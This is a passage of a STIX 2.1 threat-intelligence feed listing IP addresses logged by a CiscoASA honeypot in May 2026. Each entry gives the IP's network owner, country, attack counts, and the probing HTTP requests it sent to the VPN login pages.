      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T16:20:11.000Z",
      "valid_until": "2026-07-01T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T15:27:14.057Z",
          "last_seen": "2026-05-30T15:27:14.057Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--4c6c20ab-aca8-4402-9bcd-d223d1b6d92e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.76.22.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T16:20:11.000Z",
      "valid_until": "2026-07-01T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T15:27:19.636Z",
          "last_seen": "2026-05-30T15:27:19.636Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--75712e54-1842-438f-b27c-c11e57c25e30",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '158.46.178.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T16:20:11.000Z",
      "valid_until": "2026-07-01T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 11,
          "first_seen": "2026-05-30T13:26:57.578Z",
          "last_seen": "2026-05-30T15:40:20.697Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--57da558c-b04f-4e05-ad00-afc7ca1f3c58",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '178.94.133.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T16:20:11.000Z",
      "valid_until": "2026-07-01T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T15:32:21.674Z",
          "last_seen": "2026-05-30T15:32:21.674Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--0fc3a96d-7808-4938-9931-e9f28ccf72d4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '80.174.77.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T16:20:11.000Z",
      "valid_until": "2026-07-01T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T15:22:19.981Z",
          "last_seen": "2026-05-30T15:22:19.981Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--468cfff3-96a9-4d0b-a684-093f51fe3d95",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '80.174.86.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T16:20:11.000Z",
      "valid_until": "2026-07-01T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T15:37:13.490Z",
          "last_seen": "2026-05-30T15:37:13.490Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--cc171edf-58d8-4bd8-9205-10893ea5c9cb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '80.174.92.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T16:20:11.000Z",
      "valid_until": "2026-07-01T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-30T15:22:12.949Z",
          "last_seen": "2026-05-30T15:22:15.953Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--aef7fd97-329d-4121-b19c-800baa52c39f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '83.245.52.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T16:20:11.000Z",
      "valid_until": "2026-07-01T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T15:37:15.314Z",
          "last_seen": "2026-05-30T15:37:15.314Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-30T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: US; ASN 3257 (GTT Communications Inc.)",
      "id": "indicator--d94e0895-62bc-4f9d-9033-2242129a2cac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '95.134.238.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T16:20:11.000Z",
      "valid_until": "2026-07-01T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-30T15:32:14.046Z",
          "last_seen": "2026-05-30T15:32:14.046Z",
          "country": "United States",
          "country_code": "US",
          "asn": 3257,
          "as_org": "GTT Communications Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--bfe56b80-6151-4df6-bde1-0e2017a5d07c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.80.155.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:20:10.000Z",
      "valid_until": "2026-07-02T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-31T00:48:34.698Z",
          "last_seen": "2026-05-31T00:48:48.467Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 263740 (Corporacion Laceibanetsociety)",
      "id": "indicator--5a2a6fec-53d9-42e0-91f4-917a7173670c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '170.246.55.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:20:10.000Z",
      "valid_until": "2026-07-02T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-31T01:00:00.240Z",
          "last_seen": "2026-05-31T01:00:01.892Z",
          "country": "United States",
          "country_code": "US",
          "asn": 263740,
          "as_org": "Corporacion Laceibanetsociety",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 215540 (Global Connectivity Solutions Llp)",
      "id": "indicator--190b1acd-d05e-41d3-b8be-e117ac5555ba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '178.130.47.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:20:10.000Z",
      "valid_until": "2026-07-02T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 68,
          "first_seen": "2026-05-31T00:46:52.497Z",
          "last_seen": "2026-05-31T05:15:00.131Z",
          "country": "United States",
          "country_code": "US",
          "asn": 215540,
          "as_org": "Global Connectivity Solutions Llp",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 215540 (Global Connectivity Solutions Llp)",
      "id": "indicator--d65d843d-31d0-4216-9d59-81ee57451ae8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '178.130.47.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:20:10.000Z",
      "valid_until": "2026-07-02T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 26,
          "first_seen": "2026-05-31T00:56:52.407Z",
          "last_seen": "2026-05-31T05:19:24.900Z",
          "country": "United States",
          "country_code": "US",
          "asn": 215540,
          "as_org": "Global Connectivity Solutions Llp",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 215540 (Global Connectivity Solutions Llp)",
      "id": "indicator--b5752aa6-ef3d-464d-ab9c-696f18e59f29",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '178.130.47.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:20:10.000Z",
      "valid_until": "2026-07-02T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 40,
          "first_seen": "2026-05-31T00:54:07.443Z",
          "last_seen": "2026-05-31T05:19:21.632Z",
          "country": "United States",
          "country_code": "US",
          "asn": 215540,
          "as_org": "Global Connectivity Solutions Llp",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 215540 (Global Connectivity Solutions Llp)",
      "id": "indicator--a76712ef-f0b0-4fe9-80f5-1e6c713d2c1a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '178.130.47.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:20:10.000Z",
      "valid_until": "2026-07-02T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 80,
          "first_seen": "2026-05-31T00:50:05.623Z",
          "last_seen": "2026-05-31T05:18:06.004Z",
          "country": "United States",
          "country_code": "US",
          "asn": 215540,
          "as_org": "Global Connectivity Solutions Llp",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: IL; ASN 215540 (Global Connectivity Solutions Llp)",
      "id": "indicator--aa309542-d5fd-4234-a41d-c92414b835e2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.202.11.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:20:10.000Z",
      "valid_until": "2026-07-02T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 50,
          "first_seen": "2026-05-31T00:47:45.354Z",
          "last_seen": "2026-05-31T05:20:44.734Z",
          "country": "Israel",
          "country_code": "IL",
          "asn": 215540,
          "as_org": "Global Connectivity Solutions Llp",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: IL; ASN 215540 (Global Connectivity Solutions Llp)",
      "id": "indicator--c6bad925-359d-4ab3-bb13-a9dcebc9493d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.202.11.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:20:10.000Z",
      "valid_until": "2026-07-02T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 42,
          "first_seen": "2026-05-31T00:48:55.160Z",
          "last_seen": "2026-05-31T05:16:15.503Z",
          "country": "Israel",
          "country_code": "IL",
          "asn": 215540,
          "as_org": "Global Connectivity Solutions Llp",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: IL; ASN 215540 (Global Connectivity Solutions Llp)",
      "id": "indicator--1e1d2609-091c-4256-a60b-d10fedac0c94",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.202.11.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:20:10.000Z",
      "valid_until": "2026-07-02T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 66,
          "first_seen": "2026-05-31T00:45:49.382Z",
          "last_seen": "2026-05-31T05:20:00.801Z",
          "country": "Israel",
          "country_code": "IL",
          "asn": 215540,
          "as_org": "Global Connectivity Solutions Llp",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: IL; ASN 215540 (Global Connectivity Solutions Llp)",
      "id": "indicator--7a934708-9f4e-427e-bec5-555f129288ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.202.11.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:20:10.000Z",
      "valid_until": "2026-07-02T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 58,
          "first_seen": "2026-05-31T00:57:10.701Z",
          "last_seen": "2026-05-31T05:14:05.488Z",
          "country": "Israel",
          "country_code": "IL",
          "asn": 215540,
          "as_org": "Global Connectivity Solutions Llp",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 215540 (Global Connectivity Solutions Llp)",
      "id": "indicator--24398b19-e290-41ff-8f68-4485d3c254c9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '5.181.3.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:20:10.000Z",
      "valid_until": "2026-07-02T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 64,
          "first_seen": "2026-05-31T00:46:40.238Z",
          "last_seen": "2026-05-31T05:05:37.380Z",
          "country": "United States",
          "country_code": "US",
          "asn": 215540,
          "as_org": "Global Connectivity Solutions Llp",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 215540 (Global Connectivity Solutions Llp)",
      "id": "indicator--d08f8cbf-b757-4bfe-b812-1d5ae0289f18",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '78.153.155.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:20:10.000Z",
      "valid_until": "2026-07-02T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 50,
          "first_seen": "2026-05-31T01:04:50.926Z",
          "last_seen": "2026-05-31T05:20:55.000Z",
          "country": "United States",
          "country_code": "US",
          "asn": 215540,
          "as_org": "Global Connectivity Solutions Llp",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 215540 (Global Connectivity Solutions Llp)",
      "id": "indicator--8ad04d9c-7070-4a64-a1e6-c0ed4eac50bf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '89.185.80.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:20:10.000Z",
      "valid_until": "2026-07-02T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 56,
          "first_seen": "2026-05-31T00:45:41.060Z",
          "last_seen": "2026-05-31T05:18:55.345Z",
          "country": "United States",
          "country_code": "US",
          "asn": 215540,
          "as_org": "Global Connectivity Solutions Llp",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-31T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--9c427674-4ee6-420c-b11c-21fc869a787a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
